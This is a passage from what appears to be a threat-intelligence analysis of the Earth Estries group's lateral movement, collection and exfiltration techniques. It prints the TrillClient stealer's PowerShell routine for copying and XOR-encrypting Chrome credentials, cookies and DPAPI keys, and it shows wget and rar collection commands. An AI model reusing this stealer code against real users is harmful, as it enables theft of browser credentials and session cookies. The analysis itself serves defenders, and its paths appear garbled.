Breaking Down Earth Estries Persistent TTPs in Prolonged Cyber Operations

Crowdoor will perform different actions based on the corresponding argument. In table 1, we summarize the behaviors exhibited by the new Crowdoor variant based on the arguments used. Overall, the behaviors are similar to the ones seen in the older variant, with the difference being the injected process (msiexec.exe) and Command IDs (shown in table 2)

^{Table 1. List of arguments and their corresponding actions}

^{Table 2. Comparison between old and new Crowdoor variants}

^{Table 3. Crowdoor packages}

Lateral Movement

Earth Estries uses PSExec to laterally install its backdoors and tools, notably by copying the CAB files containing the backdoors or tools, and a batch file to perform the installation, maintain persistence, and execute the tools.

Typically, PSExec is used to copy the CAB file containing the malware that will be laterally installed. However,in some instances, WMIC may be used in its place to achieve similar results. A set of batch files will then be copied and executed to perform the extraction, installation, and execution of the malware. Large scale collection may also be executed using batch files.

In later stages of the attack, the backdoors may be used directly to perform lateral movement. CAB files are still used as containers for the tools to be installed, and batch files are still incorporated in the extraction, installation and execution of said tools. This will sometimes include the creation of persistence mechanisms for the batch file to act as an indirect persistence mechanism for the actual backdoors.

Discovery, collection and exfiltration

TrillClient’s user credential discovery

Earth Estries will collect user credentials that can be used to further its objectives. The threat actor employs the TrillClient information stealer for this routine, primarily collecting user credentials from browser user profiles. TrillClient launches a PowerShelll script that will collect user profiles to be saved at a specific location:

foreach($win_user_path in $users_path){

echo D | xcopy “C:Users$win_user_pathAppDataRoamingMicrosoftProtect” “$copy_dest_path$win_user_pathProtect” /E /C /H;

attrib -a -s -r -h “$copy_dest_path$win_user_path*” /S /D;

echo F | xcopy “C:Users$win_user_pathAppDataLocalGoogleChromeUser DataLocal State” “$copy_dest_path$win_user_pathLocal State” /C;

echo F | xcopy “C:Users$win_user_pathAppDataLocalGoogleChromeUser DataDefaultNetworkCookies” “$copy_dest_path$win_user_pathDefaultNetworkCookies” /C

echo F | xcopy “C:Users$win_user_pathAppDataLocalGoogleChromeUser DataDefaultLogin Data” “$copy_dest_path$win_user_pathDefaultLogin Data” /C;

$profile_path = Get-ChildItem -Name “C:Users$win_user_pathAppDataLocalGoogleChromeUser Data\” -Include *Profile* -ErrorAction SilentlyContinue;

foreach($chrome_user_path in $profile_path){

echo F | xcopy “C:Users$win_user_pathAppDataLocalGoogleChromeUser Data$chrome_user_pathNetworkCookies” “$copy_dest_path$win_user_path$chrome_user_pathNetworkCookies” /C;

echo F | xcopy “C:Users$win_user_pathAppDataLocalGoogleChromeUser Data$chrome_user_pathLogin Data” “$copy_dest_path$win_user_path$chrome_user_pathLogin Data” /C;

   }
}

Data will be collected from the following folders:

• %LOCALAPPDATA%GoogleChromeUser DataLocal State
• %LOCALAPPDATA%GoogleChromeUser Data<PROFILE>Login Data
• %LOCALAPPDATA%GoogleChromeUser Data<PROFILE>NetworkCookies
• %APPDATA%MicrosoftProtect*

The collected data will be temporarily copied to <%TEMP%browser_temp_data<RANDOM>>, archived using the tar command, and encrypted with an XOR algorithm.

tar -cvf “$copy_dest_pathtar” $copy_dest_path;

$e_a = [System.IO.File]::ReadAllBytes(“$copy_dest_pathtar”);Remove-Item -Path $copy_dest_path -Recurse;

$e_i = 0;foreach($e_c in $e_a){$e_a[$e_i] = (($e_c -bxor ($e_i % 252)) -bxor (0xe6 – ($e_i % 199)));$e_i += 1;

$random_filename = “300775736611547784207972935122149919289871693”;

$out_put_file = $out_put_path + “\” + $random_filename;

echo $out_put_file;

[System.IO.File]::WriteAllBytes($out_put_file, $e_a);

The collected data will then be sent to the threat actor’s Gmail account over Simple Mail Transfer Protocol (SMTP).

Collection of sensitive documents

Earth Estries utilizes RAR for collecting information of interest. On this attack scenario, they utilize wget to download target documents from an internal web-based document management platform to a collection folder before archiving them.

• In this instance, a batch file containing commands to download PDF files to the collection directory is executed, containing hardcoded document names:
  • c:userspublicmusictempwget.exe -c “hxxp://172.16.xx.xx/{document path}/{Hardcoded Filename}.pdf” -P c:userspublicmusictemp
• Afterwards, collected PDF’s are archived
  • C:Windowssystem32cmd.exe /C C:UsersPublicMusicrar.exe a -m5 C:UsersPublicMusicpdf0412.rar C:UsersPublicMusictemp*.pdf

Collection via backdoor

Earth Estries uses both Crowdoor and Cobalt Strike installations for collection routines by archiving information of interest both from both local and remote locations. Some examples of collection commands performed are as follows:

^{Table 4. Collection commands}

Telemetry suggests that they were exfiltrated through the same methods that the collection command is executed: either through the command-and-control (C&C) channels of their backdoors, or through the same initial access method used to control these tools.

An overview of the second Earth Estries attack flow is shown in figure 3: